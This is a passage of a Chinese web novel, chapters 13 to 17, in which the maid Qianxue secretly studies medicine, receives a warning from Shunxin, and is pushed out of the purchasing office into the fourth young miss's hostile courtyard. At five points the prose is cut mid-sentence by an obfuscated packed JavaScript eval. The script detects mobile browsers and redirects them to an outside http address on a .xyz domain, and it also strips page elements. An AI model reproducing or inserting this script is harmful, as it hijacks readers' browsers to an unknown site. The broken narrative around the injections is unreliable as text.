“借医书？！”张大夫像是被踩了尾巴的猫，声音都拔高了几度，浑浊的眼睛一下子瞪圆了。他猛地坐直了身子，指着千雪，“你……你个小丫头片子，识得几个字？借我的医书看？你想干什么？” 千雪坦然说出早已准备好的说辞，“张大夫，奴婢是后边采买处账房新来的小丫鬟千雪。奴婢想着，人生在世，技多不压身，尤其是学点认药看病的本事，万一以后自己或身边人生个小病小灾，懂点门道，也不至于慌了手脚，更不至于请不起大夫抓不起药。奴婢就是想……多学点能傍身的手艺，总归是条后路。”语气真挚恳切，眼神清澈见底。 张大夫盯着她看了几息，像是在辨认她话语的真伪。随即，那紧绷的老脸上先是嘴角抽动了一下，然后竟是“噗嗤”一声，继而爆发出毫不掩饰的大笑！笑声在空荡的小院里显得有些突兀。 “哈哈哈……哈哈哈……好一个‘技多不压身’！”张大夫笑得前仰后合，差点从椅子上滑下来，他手指着千雪，眼泪花都笑了出来，“小丫头，有点意思！有点意思！”他抹了抹笑出来的眼泪，好不容易止住笑声，但那胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908426|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子还在一颤一颤的。 他指着桌上的烧鸡酒坛，又指指那堆刚扫好的柴禾似的落叶堆，摇着头， “你这丫头，倒是个人精！烧鸡好酒，给我这老头子干苦力……费这么大心思，就为了看我的医书？”他浑浊的眼里闪烁着一种复杂的光，既有被奉承的得意，也有对“珍贵”医术的看重，更有几分看透人心的戏谑。“也罢！看你干活麻利、说话也有几分真诚劲儿，老头子我也没啥精神头教徒弟……”他话音一转，带着点倚老卖老的模样，也透着点防备，“书嘛，可以借你看！不过” 他拖长了调子，强调着底线，“我那几本压箱底的宝贝疙瘩，可都是老头子我吃饭的家伙什！不能外借！只能在我这院子里头，当着我的面看！甭想给我顺出去！”他用一种“小样儿别跟我耍花招”的眼神斜睨着千雪。 千雪闻言，心头猛地一跳，那份压抑了小半日的沉郁仿佛瞬间被一股巨大的欣喜冲散了！成了！哪怕只是“定点阅读”，也是迈出了关键一步！她脸上绽开了个灿烂笑容，声音都带了点雀跃。 “多谢张大夫！多谢张大夫！”她激动地搓着手，连声道谢，随即又连忙补充道，“张大夫您放心！规矩我懂！就在您这院里看，保证不让您老费心！下回我来……我还给您带烧鸡！”那模样，活像一只终于刨开了宝库大门的小松鼠。 看着这小丫头高兴得手足无措的样子，张大夫鼻子里“哼”了一声，但眼里那丝老狐狸般的光芒却悄然隐去不少。 他指了指被炉膛烤得温热的屋子，“行了行了，嚷嚷什么，进去吧！靠窗那张桌子你收拾收拾。书架最底下那一层，找几本薄点的《药性歌括》《汤头歌诀白话》之类蒙学的东西先看着吧！看不懂就憋着，别瞎问，老头子我忙着呢！”说着，他又慢悠悠地靠回了那把吱呀作响的躺椅，眼睛微眯，视线却不由自主地瞟向石桌上散发着腾腾热气的油纸包…… 千雪连声应着，脚步轻快地走进了屋里，心中那份因顺心而起的阴霾，被眼前这份意外收获的喜悦暂时驱散，这条技术傍身的野路子，似乎意外地开了一个小小的门缝。 13. 第十三章 顺心传信 千雪的日子彻底变成了连轴转。 采买处到了年底，活计多到让人喘不过气。单据堆得比人还高，算盘珠子噼里啪啦响个不停，连喝口水的功夫都像是偷来的。 绿萝师父是主力，她在旁边也是看得眼花缭乱，手腕子酸得抬不起来。 但千雪心里憋着一股劲儿。 她清楚得很，过了这阵忙，自己顶替绿萝的位置才算真的稳了。所以，不光明面上拼了命地跟师父学，练，她私下还有自己的小算盘。 只要瞅着一点点空档，绿萝被上头的管事叫走了，或者是灶上歇火的片刻，千雪就跟个影子似的溜出去，脚步飞快地直奔府医张大夫那冷清的小院。 这事儿她做得极隐秘，谁也不敢惊动，开玩笑，自己偷偷卷本事是正道，被人知道起了心思或者惹了忌惮才麻烦。 闷声发财，悄悄惊艳所有人，才是王道！ 到了小院，她也利索得很，偶尔带点烧鸡、点心这些“孝敬”往石桌上一摆，立马就拿起扫帚开始打扫张大夫那个乱糟糟的院子和挤满尘灰的药架子，动作麻利得很。 张大夫这老狐狸，照旧半躺在破藤椅上，眯缝着眼假寐，其实全看在眼里。烤鸡的香味儿飘出来，他嘴角都要压不住地上扬了。 千雪也不废话，打扫干净了，立马掏出她指定的那本《药性歌括》或是别的什么入门医书，凑在窗户根底下如饥似渴地看起来。不认识的字儿、古怪的药名，她就死记硬背，硬往脑子里塞。不懂？没事，先记住再说！张大夫不开口教，她就绝不问，怕惹毛了他连这点机会都没了。 和千雪这边的“暗度陈仓”一比，还在下人院里挣扎的顺心，那日子简直是在泥潭里打滚。 倒不完的恭桶，洗不完的脏污盆罐，永远弥漫着那股子洗都洗不掉的馊臭味儿。她的手脚冻得裂开了血口子，麻木得快没知觉了，眼泪早就流干了，只剩下一片绝望。 “顺心妹子，你别老这么傻了。”一个同屋、面相稍显和气的粗使丫头实在看不过眼，趁着夜里人少，偷偷拽住了她。“光哭顶什么用？你那点月例银子，哪怕一个铜板一个铜板地抠，也得攒下来！” 顺心茫然地抬起头。 “听姐的，”那丫头凑近她耳边，声音更低，“狠狠心，饿肚子也得攒！等攒下点儿体己了，瞅准机会塞给管咱们这片儿的珍珠！你往她手里塞点好处，求她在主子跟前递句话，指不定……指不定就能把你调去干点别的，哪怕是厨房打杂、洗菜淘米，也比这见不得人的地方强百倍！” 这番话像是一道微弱的光，稍稍照亮了顺心死灰般的心。 对啊！求人不如求己！钱！只有钱才是硬道理！她那双干涩的眼睛里，猛地迸发出一种极其强烈的求生欲望！ 腊月的寒风刮得更厉害了，国公府上下彻底忙翻了天。 送年礼的、采办年货的、准备祭祖一应物事的各个管事的声音都吼得嘶哑。 采买处更是漩涡中心，人人都像上了发条的陀螺，忙得脚后跟打后脑勺。 这巨大的忙碌之下，夹带的“油水”也比平时多了不少。 千雪领着自己那份比平时厚的赏钱，心里盘算着又够去买几次书、买几只鸡了。她的秘密“学业”得继续投资！ 而在那个冰冷的，飘着怪味的下人院角落里，顺心把刚领到手，少得可怜的几个铜板，用一块最破的布紧紧包好，塞进自己那个硬邦邦的草垫子最深处。每一文钱都像是从骨头缝里抠出来的。她死死盯着那块草垫，眼神凶狠又充满希望。 攒钱！贿赂！换地方！这就是她抓住的唯一一根救命稻草！ 张副管事躺在庄子的硬板床上，恨得牙根痒痒。千雪！那次害她栽了大跟头的死丫头！这笔账，她记死了。 “赵妈妈那边怎么说？”声音沙哑。 “赵妈妈传话，冯婆子护得紧，硬动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908427|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得。得用软刀子。” 张副管事眼里闪过狠光，“刀呢？找到了吗？” “找了！码头货栈干过的妇人，家里捏在咱们手里，账目功夫狠，人也精明。黄姨娘已经把人塞到老夫人跟前了。” 国公府老夫人屋里的炭火烧得旺，但气氛有点冷。老夫人靠在软枕上，看着国公夫人，话里软中带刺。 “你忙，我知道，但采买处账目繁重，冯氏上了年纪，新提那小丫头看着机灵，只怕火候不够。年关事杂，万一出岔子，累的是你。” 国公夫人心头一紧，脸上还挂着笑，“劳母亲挂心……” “我这边有个稳妥的人，南边大铺子历练出来的好手。”老夫人直接打断，话不容商量，“叫她去采买处给冯氏搭把手，我也能安心些。”这是明着要分权。 国公夫人袖子里的手攥紧，只能点头，“母亲思虑周全，媳妇遵命。” 消息炸锅了。 王春花缩在厨房油腻的角落，嘴都快咧到耳根，“听见没？老夫人亲自塞人了！姓林的这次死定了！阳谋，懂不懂？再长十个心眼也躲不过！” 顺心拖着煤筐经过，浑身血液都冻住了！阳谋？千雪要完？自己要不要去给千雪递个信？ 虽然千雪之前拒绝帮助自己，但是如她所说，自己确实也没帮到千雪什么。 要不，赌一赌，她瘦得脱形的手猛地抠进筐沿，心里那个念头疯狂叫嚣，赌！赌一把！ 于是倒座房的门口，千雪又见到了顺心，顺心差点把千雪扑倒！那手冰得像死人骨头，死死抓住千雪。 “老夫人……塞人……账房要害你……”声音哆嗦得像风里的破布条，她衣服单薄，走到这冻的不成样子。哆哆嗦嗦，一句完整话都说不出。 说完，顺心生怕被人看到，她像被烫到一样甩开手，扭头就扎进黑风里，眨眼没影了。 千雪盯着她的背影，脸色冷下来。 14. 第十四章调离 几天后，冯娘子领了个妇人进采买处。 二十多岁，靛蓝旧袄，圆髻梳得溜光水滑，长相普通，唯有一双眼睛静得吓人。 “奴婢周翠，”妇人对着冯娘子福了福身，声音不高不低，“奉老夫人口谕，来给娘子分忧，听凭差遣。”说完，目光似有若无地掠过旁边的千雪，沉静无波，却像冰水浸人。 冯娘子脸一沉，“跟着绿萝学吧，千雪，新来的单子你先带周娘子抄录对账。”这是硬保千雪的位子。 “是。”千雪应得干脆，直直看向周翠。 周翠眼底一丝极快闪过的审视，却很快挪开眼，平静低头，小声道，“劳烦千雪姑娘。” 千雪把周翠放在了眼皮子底下。表面上，她带着周翠熟悉采买处的流程和账目，手把手教——或者说是监视。 这周娘子确实不是草包，不止如此，还有两下子，显然是个熟手。 她算盘拨得飞快，账目记得工整，做事一丝不苟，该问的问，不该问的一个字都不多嘴，低眉顺眼得像个影子。可越是这样，千雪心里的那根弦就绷得越紧。 冯娘子私下提点过她好几次，“眼睛放亮点！这尊佛来者不善！”绿萝也忧心忡忡，干活时都不让千雪离开周翠半步，自己盯得更紧。 这天下午，千雪正在核对最后一批山货的入库单，头都快埋进账本里，门外突然响起声音。 “千雪姑娘可在？老夫人那边有请。” 千雪手里的毛笔尖猛地一顿！一滴浓墨迅速在账页上晕开一个小黑点。 整个账房瞬间安静下来，绿萝猛地抬头，眼神快速看向门口。连一直埋首记账、仿佛与世隔绝的周翠，拨动算珠的动作也极其轻微地停滞了半秒，几乎让人无法察觉。 冯娘子不在场。 躲？躲不过去，老夫人召见，一个低等丫头根本没有拒绝的余地。 千雪强行压下心头那阵冰冷的紧缩感。她放下笔，深吸一口气站起身。脸上已经恢复了惯常的沉静，甚至还带了一丝恰到好处的、受宠若惊的茫然。 “银珠姐姐？我在。这就来。”她应得平稳利落，声音听不出异常。 跟在银珠身后，穿过一道道朱漆门廊。越往内院深处走，景物就越发不同。她平常打混的地方是混杂着烟火气和铜钱味的内外院结合部，而这里，是真正的富贵锦绣。 松鹤堂院门口那几颗古松在冬日里也透着肃穆沉静的威严。 空气里有种清冷的檀香混着炭火的味道，廊下站着的小丫鬟都穿着整洁水灵，垂手肃立。 这就是老夫人居住的地方，老夫人面慈心狠，这院子氛围不算松快。 堂屋里暖香熏人，老夫人靠在铺着厚厚锦褥的紫檀木太师椅上，腿上还搭着张银狐皮。看到千雪进来，她脸上竟浮现出十分和蔼的笑容，连眼角的皱纹都显得慈祥。 “来了？”她声音不高，带着点病后的沙哑，却自有一股气势。 她审视的目光上下扫了千雪两眼，点点头，“倒真是个清秀利落的小丫头，看着就伶俐。难怪冯氏那边都夸你机灵会办差。” 千雪赶紧福下身，姿态放得极低，“奴婢愚钝，老夫人夸奖不敢当。都是冯娘子教导得好。” 老夫人像是没听见她的谦虚，轻轻呷了一口旁边小丫鬟捧上来的热参茶，慢悠悠地仿佛只是拉家常，“年节忙乱，府里上上下下都为着主子们的事操心。往后啊，这府里几个姐儿也大了……” 她话锋陡然一转，毫无征兆！眼神却锐利锁定千雪，直勾勾看着她！ “……二姐儿嫁出去也就这两年的事了，跟着便是三姐儿、四姐儿。老婆子我也不能不为她们的将来思虑。” 她放下茶盏，发出一声轻响。 “昨儿个，四姐儿特意跑到我这松鹤堂来，缠着我闹了半晌。”老夫人唇角似乎带了点纵容的笑意，眼底却一片冰凉，“她说啊，看着冯娘子采买处新来的那个小丫头千雪就合她眼缘，做事爽利机敏懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908428|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼色，非缠着我向你要人，想把你收到她院子里去使唤。唉，这小皮猴儿……” 老夫人笑着摇头，看向千雪的眼神“慈爱”得令人胆寒。 “老婆子我这把骨头了，经不住她磨。这不，今儿就特意叫你来。千雪啊，你这就收拾收拾东西……” 她抬手指了指旁边侍立的银珠，声音温和却斩钉截铁， “……让银珠帮着，搬到四姐儿的‘芳华院’去当差吧。往后你就是四姐儿的人了，可得用心伺候着。” 轰！ 千雪只觉得脑子里像是有什么东西炸开了！一颗心瞬间沉了下去！原是为了这个！ 四小姐？点名要她？早不说晚不说，偏偏在周翠进采买处不到十天、她们严防死守的时候点名要她？！ 四小姐要她自然是假的！ 这就是赤裸裸的借口！就是要拔掉她这根碍眼的钉子！什么四小姐！四小姐根本没见过她！这是要把她彻底调离采买处，好让周翠畅通无阻！ 她所有的根基，所有的努力，她拼命抓住的账房位置，她辛辛苦苦这些天，老夫人一句话，就能让她多年心血付诸东流！四小姐院里的丫鬟？听起来是好去处，实则就是断了她凭本事往上爬的根基！把她踢出局！ 她能说“不”吗？她敢说“四小姐根本没提过要奴婢”吗？她敢质疑老夫人的金口玉言吗？ 不能！一个字都不能！ “奴婢……”千雪猛地低下头，避开了老夫人那看似慈祥实则冰冷刺骨的目光，声音因为强行压制情绪而带着一丝自己都没察觉到的颤抖。 “……奴婢……谨遵老夫人吩咐。谢老夫人……和四小姐垂青！” 看她乖觉的样子，老夫人满意地“嗯”了一声，眼中闪过一丝转瞬即逝的得意。 她挥了挥手，如同驱赶一只微不足道的蝼蚁，“去吧，银珠，带着她。” “是。”银珠应声，面无表情地走到千雪身边，“千雪姑娘，请。” 15. 第十五章 排挤 千雪被银珠“请”出松鹤堂的消息还没捂热，就扎进了采买处！冯娘子正对着账簿发愁，一听这信儿，脸色瞬间变的难看极了，手里的账册“啪”地掉在了地上！ “糟了！”她脑子里就剩这两个字！国公夫人千防万防，没防住老夫人这狠招！明面上是提拔，实则是断根！千雪一走，绿萝也要出嫁，采买处账房就剩那来历不明的周氏！后果不堪设想！ 冯娘子顾不上仪态，拔脚就冲，几乎是扑到国公夫人院门外的。 进去时声音都发颤了，“夫人！不好了！老夫人……老夫人亲口把千雪给四小姐要走了！人已经被银珠直接带过去了！” 国公夫人手里的茶盏顿住了。 “什么？！”一股冰冷的怒意直冲头顶！ 她这边还没得到消息，老夫人这病一好，府里的风向又变了，不朝着她一边倒了。 她派人去打听得了确切消息，她这才反应过来，老夫人要人根本不是为了什么四小姐，纯粹是给采买处腾位置，安插钉子！“好一个釜底抽薪！好一个黄姨娘！” 冯娘子恨声道，“绝对是她！黄姨娘一手荐了那周氏，现在又唆使四小姐要人！一石二鸟，既削了我们的臂膀，又把她女儿扯进来当挡箭牌！” 国公夫人脸色铁青，人已经被老夫人亲口下令领进了四小姐的院子，而且还是打着四小姐的旗号！她这个嫡母再去硬要人回来，那是打老夫人的脸，更显得刻薄庶女！这个哑巴亏，硬生生吞下了！ 郑妈妈悄无声息地立在一旁，眼神里一片冷凝，低声劝道，“夫人息怒，这一子黄姨娘走得狠辣。不过，不必急在这一时。人在后宅，总有碰面的时候。这黄姨娘为了在老夫人跟前表功，一而再、再而三地把亲生女儿往火坑里推……您看四小姐那性子，是能忍的？咱们且看着，机会，总会有的。” 郑妈妈话里藏着的深意，黄姨娘自己生的四小姐她何曾放在心上，呵，不过是个筏子！她那颗心啊，全拴在亲儿子三少爷身上呢！指不定又腆着脸在老夫人那儿求了什么。 国公夫人强压下翻腾的怒火，脸色阴沉得快滴出水来。 这黄姨娘，真是好算计！好恶毒！为了拍老夫人的马屁，连自己亲生的四姐儿都能当筏子用！完全不考虑女儿还在自己这个嫡母手下讨生活！这笔账，她记死了！ 与此同时，千雪像个提线木偶，麻木地跟着刻板的银珠，走进四小姐芳华院的门槛。 院子不大，透着小姐闺阁的清雅精致，却同样透着无形的规矩。 银珠把人带到四小姐跟前，按规矩复述了一遍老夫人的话，“……四小姐要的人，奴婢带来了。” 坐在窗边绣绷前的四小姐，手指尖的针猛地一抖，差点戳到手指！她愕然抬头，一张略显稚气但已十分清丽的脸庞上，瞬间浮起错愕，羞恼，最后化作一片压抑的冰冷！她什么时候“特意缠着老夫人”要丫鬟了？！姨娘！又是姨娘！ 当着老夫人派来的银珠面，她胸中怒火翻腾，却一个字都不能反驳！否则就是质疑老夫人的“好心”和“面子”！ 她深吸一口气，强迫自己扯出一个僵硬的笑容，声音干巴巴地对银珠道，“有劳银珠姐姐跑一趟，替我多谢祖母关怀。” 银珠没什么表情地行了个礼，完成差事，转身就走，一个眼神都没多留。 人一走，芳华院正厅里的气氛瞬间像冻住的水。四小姐的目光像带着冰碴子，落在千雪身上，几乎要将她穿透。 她上下打量着这个陌生的小丫鬟，眼神冷漠疏离毫不掩饰，甚至带着一丝被强行塞了麻烦物品的厌恶。 “你就是千雪？”四小姐声音冷冷的。 千雪赶紧福身，“回四小姐，奴婢正是。” “哼，”四小姐鼻腔里发出一声极轻的冷哼，“千雪？”她语调古怪地重复了一遍，带着明显的不耐。那个“雪”字，被她加重吐出，仿佛在咀嚼一种羞辱。 分明是她那个好姨娘硬塞过来的麻烦！还打着她的幌子！ “既然是祖母口中‘我特意求来’的……”四小姐刻意加重了“特意求来”四个字，任谁都听得出她话里的憋屈和火气，“那也不能怠慢了，以后你就跟着我，锦书！”她提高了点声音。 一个穿着粉绸坎肩、眉眼略有些凌厉的大丫鬟锦书立刻上前，脸色不算好看，“奴婢在。” “这是千雪，从今往后就是我身边‘二等’的丫鬟了！你带她下去安置！”四小姐甩下这句话，就重新拿起针线，低下头，再也不看千雪一眼。那“二等”两个字，咬得也格外清晰，看似抬举，实则是警告，别以为顶着“我求来”的名头就真能往上爬！ 锦书的眼神像刀子一样刮过千雪那身采买处仆役的旧袄子，里面是毫不掩饰的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908429|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排斥和审视。她下巴微抬，生硬道，“跟我来吧。” 千雪低头称是，四小姐的态度来的路上她已经预料到了。她知道，从踏进这道门开始，她和这个被生母当作棋子、满心愤懑的四小姐绑在了一条岌岌可危、满是荆棘的小船上。 芳华院，这看似锦绣富贵的新牢笼。 她顶着“四小姐特意求来”的名头空降二等的位置，像一颗石子投进本就不算平静的水潭，立刻激起一圈圈饱含敌意的眼神。 小圈子最恨外来者，尤其是这等来历“非凡”的空降兵。排挤？客气了，那是寒冬腊月屋檐下垂下的冰锥子，明晃晃地刺人。 锦书领着千雪去安置东西时，那股子公事公办的疏离已经算是“善意”。 院子里静悄悄的，廊下站着几个或倚或坐的丫鬟婆子，目光像针一样密密麻麻刺过来。 没有欢迎，没有询问，只有赤裸裸的打量和毫不掩饰的排外。 一个穿着银红掐牙背心、梳着双丫髻的小丫鬟看着年纪小，估计是三等被推搡出来，不情不愿地瞟了她一眼，“跟我来吧，东西放西边厢角房那间。” 声音里透着一股不耐和疏离，仿佛她不是新来的同伴，而是沾上就得赶紧甩掉的脏东西。 西边厢的角房，又阴又冷，连着她总共挤了三个三等丫鬟。两张窄窄的木板床已经占满，剩下的一张紧挨着寒气直冒的后窗户，铺盖薄得像纸。 那小丫鬟一指那位置，“喏，你的。”说完转身就走，一句多余的话都懒得说。 千雪默默把少得可怜的包袱放下。屋子里另外两个本在低声谈笑的丫头立刻闭了嘴。一个瓜子脸的丫头斜眼上上下下把她来回刮了好几遍，从鼻子哼出一声，“啧，空降的二等？好大的脸面。” 另一个圆脸、看着似乎和善点的丫头，倒是没嘲讽，但也只是客气地笑了笑，眼神深处全是探究和疏远。 千雪的心沉得更低，四小姐身边的丫鬟配置根本没满。除了一等大丫鬟满了，二等丫头加上她也才三个名额，八个三等更是缺了好几个。她一来就占了最“金贵”的二等位置？这哪是调来伺候小姐，这是把她扔进油锅里炸啊！ 果不其然，没过半个时辰，一股呛鼻的劣质脂粉香就飘进了这冰冷的角房。门口堵了个穿着柳绿缎子袄的年轻丫鬟，应该是二等，身后还跟着两个三等的小尾巴。 16. 第十六章艰难 那丫鬟插着腰，下巴抬得老高，眼风刀子似的扫过千雪，上上下下打量了个遍，从嗓子眼里挤出阴阳怪气的调子。 “哟！这就是老夫人特意开口，‘赏’给我们四小姐的二等大丫鬟？看着……也不过如此嘛。” 后面一个小尾巴立刻捧哏，“就是就是！菊青姐姐和二等的翠柳姐姐服侍小姐多久了？这位怕是连给小姐递杯茶都不会吧？” 另一个也跟着，“何止递茶，瞧她这身行头，别熏着了我们小姐！” 被叫菊青的那个二等丫头冷笑一声，也不走近，就用那种居高临下的目光睨着千雪，“听说你在采买处账房里‘算得飞快’？可惜了，咱们芳华院伺候小姐，讲究的是眼力劲儿和‘本分’，耍那些小聪明可别污了小姐的眼！” 她刻意加重了“本分”两个字。 屋里的瓜子脸丫头和圆脸丫头都缩了缩脖子，鹌鹑似的不敢吱声，生怕被这菊青姐姐的怒火波及。 千雪低垂着眼，看着自己粗布鞋面上沾染的泥点，脸上没什么表情。 她这副油盐不进的“木头”样子，更让春华觉得一拳打在了棉花上，恼怒不已。 “哼！装什么哑巴？明儿一早卯时，小姐起身前，给我把院里清扫干净！要是敢误了伺候小姐，有你好瞧的！”她撂下狠话，像只得胜的公鸡，扭着腰带着小尾巴走了。 门一关，那圆脸丫头才犹豫地看了千雪一眼，小声道，“那个……菊青姐……呃，不太好说话……你……你小心点。” 千雪没抬头，只是极其轻微地点了一下头，从喉咙里挤出一个“嗯”字。 千雪正低头整理她那少得可怜的几件旧衣，头也没抬。 “喂！外头有人找你！” 千雪动作一顿，朝门口走去，绿萝裹着一件半旧的夹棉披风站在门口。 “绿萝师父！”千雪快步过去，喉咙有些发哽。这冰冷陌生环境里突然见到唯一的“亲人”，委屈和憋闷差点冲垮她的镇定。 绿萝伸手用力握了一下她冰凉的手腕，力道很大，带着安抚，也带着沉重。她也不废话，直接把腰间一个沉甸甸的小布囊塞进千雪手里。 布囊不新，但针脚细密，分量压手，里面绝不是小钱。 “夫人让我悄悄来的。”绿萝声音压得极低，语速很快，警惕地瞥了眼门口，“她都知道。老夫人这一手……打的我们措手不及。”她眉宇间锁着浓重的忧心和无奈。 “夫人现在不能为了一个丫头直接跟老夫人顶。”她看着千雪的眼睛，语气充满无力感，“尤其顶着‘四小姐要人’的名义，硬顶，吃亏的只有你！” 她抓着千雪的手紧了紧，几乎是指甲扣进肉里，“但夫人让我告诉你一个字——忍！” 她看透了千雪眼底的茫然，继续道，“咬牙也要忍下去！老夫人不会盯着一个小小的二等丫鬟多久！只要你稳住不出错，夫人一定有机会把你弄出去！采买处那个位置，还是你的！” “这银子，”她松开手，点了点那个布囊，“是夫人赏你的体己，别叫外面那些眼皮子浅的看见！芳华院水深，该打点的……省着点用。”她的话点到即止，透露着对这里人情世故的极度不信任。 绿萝又匆匆交代了几句“自己保重”，“别硬顶”，“万事小心”。 顺心那张在风雪里冻得扭曲的脸突然撞进脑海。 “师父，”她喊住要走的绿萝，“帮我给冯娘子带句话。” 绿萝停步回头。 “跟我一起进来的丫头顺心，还在下人院底层，日子艰难。她给我报了信，我欠她这份情。求冯娘子……能不能把她要到采买处？打杂也行，躲开那帮欺负她的人。” 绿萝眼神动了动，干脆点头，“行，话带到。” 便如同来时一般静悄悄离开。 千雪低头看着手里那个沉甸甸的小布囊，布料磨得手指有些粗糙。这银子，是安抚，是希望？可听在耳朵里，更像是一盆冰冷的雪水。 夫人不能直接要人。 老夫人压着。 四小姐是个由头。 她千雪的去留，甚至生死存亡，不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908430|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是夫人和老夫人斗法的棋子！夫人需要她做钉子时，可以提上去；老夫人要拔钉子时，夫人也只能“让她忍”，还要“找准机会”。 选择的权利？在哪？ 她就像一个物件，被上面两只看不见的手抛来抛去，身不由己！冯娘子也好，国公夫人也罢，无论她们此刻多么愤怒或惋惜，在更高层次的力量面前，护她周全？能护几分？ 她在采买处熬夜打算盘磨出的茧子，争分夺秒学的医术，甚至刚刚站稳的那一点根基……在这绝对的权力碾压下，脆弱得像个笑话！ 她默默地、仔仔细细地把钱袋掖进贴身处最隐秘的口袋里。布料摩擦皮肤的感觉冰凉沉重。脸上什么表情都没有，只有眼底深处的那簇火光，无声无息地熄灭了，只余下一片冰冷的灰烬和更深的警惕。 忍？她当然会忍。 但她也彻底明白，在这深宅里，想要活下去，不是那么简单的。 绿萝前脚刚走，冰冷的西厢角房只剩下千雪。怀里那包银子硌得难受。权力面前，钱财也只是冰冷的物件。 下人院后角，臭气熏天。 顺心冻得发僵的手机械地刷着堆积的恭桶，王春花刻薄的咒骂声刀子似的。 “喂！刷桶的！顺心！” 顺心茫然抬头，是珍珠。 珍珠捏着鼻子，一脸嫌恶，“采买处要人了！点名要你！冯娘子开的口！赶紧滚去报到！别在这恶心人了！” 轰！ 顺心脑子一片空白。手里的刷子“哐当”掉在地上。 “真的？采买处……要我？”她声音抖得不成调。 “废话！”珍珠翻个白眼，转身就走。 巨大的狂喜瞬间炸开！顺心浑身都在发抖，眼泪疯了似的往外涌。 采买处！冯娘子！ 只能是千雪姐！只有她会记得！ “噗通！” 她不管不顾地跪在污水泥泞里，任眼泪鼻涕混着脏水流淌，又哭又笑，反反复复只会沙哑地念， “千雪姐……千雪姐……” 17. 第十七章 千雪要当大丫鬟 千雪在芳华院的日子，就像在刀尖上跳舞。二等丫鬟的活计不轻，还得提防菊青那伙人随时甩来的暗刀子不过。 但只要抓住一丝空隙，她就往张大夫的小院里钻。 这天正在院里心不在焉地打扫积雪，虎头忽然从角门那边探出头，神秘兮兮地朝她招手。千雪心领神会，找个借口溜了出去。 刚踏进张大夫那熟悉的小院，就见虎头正搓着手跟张大夫闲聊。张大夫撩起眼皮看见她，哼笑一声，“哟，小丫头片子？虎头跟我说了，你除了惦记我的医术，还惦记着学两手拳脚功夫防身？心够野啊！” 千雪笑笑没接话，这段时间相处，她和张大夫熟络不少，老头儿虽然嘴上毒，但她干活实在，有时遇上特别难的，老头儿心情好了也会点拨一两句。 虎头赶紧接上话头，“千雪妹子，你托我的事我没忘！可我小叔说了，你如今在内院伺候小姐，身份不同了！外院那些护院都是大老爷们儿，哪能随便见面？男女大防可不是小事！” 他话锋一转，压低声音带着点兴奋，“不过我小叔路子广！给你打听到城外苏家武行！他们那儿有真材实料的女教头！手上功夫硬得很！专门教大户人家女眷防身的！你要是真有兴趣，我帮你搭线问问？” 女教头？！千雪眼睛一亮，这简直是瞌睡遇到枕头！她立刻点头，“好！虎头哥，你帮我问问看！每个月告假的日子，或者休息的时候，我应该能抽出时间去。” “得交束脩的！”虎头提醒。 “银子的事你别操心。”千雪从贴身的钱袋里点出几小块碎银子递过去，“这是束脩定金和你的跑腿费，不够我回头再补。”虎头帮她甚多，她从不吝啬。 虎头掂量着银子，脸上笑开花，“痛快！妹子放心，这事包在我身上！保管给你办得妥妥帖帖！等我信儿！”他拍着胸脯保证完，一溜烟就消失了。 千雪看着他的背影，心里踏实不少，被踢出采买处又如何？学本事的路，谁也拦不住她。张大夫在她身后，又哼了一声，听不出是嘲笑还是别的什么，但没再阻拦。 刚闪进芳华院后门，菊青带着两个小丫头就堵了上来，阴阳怪气。 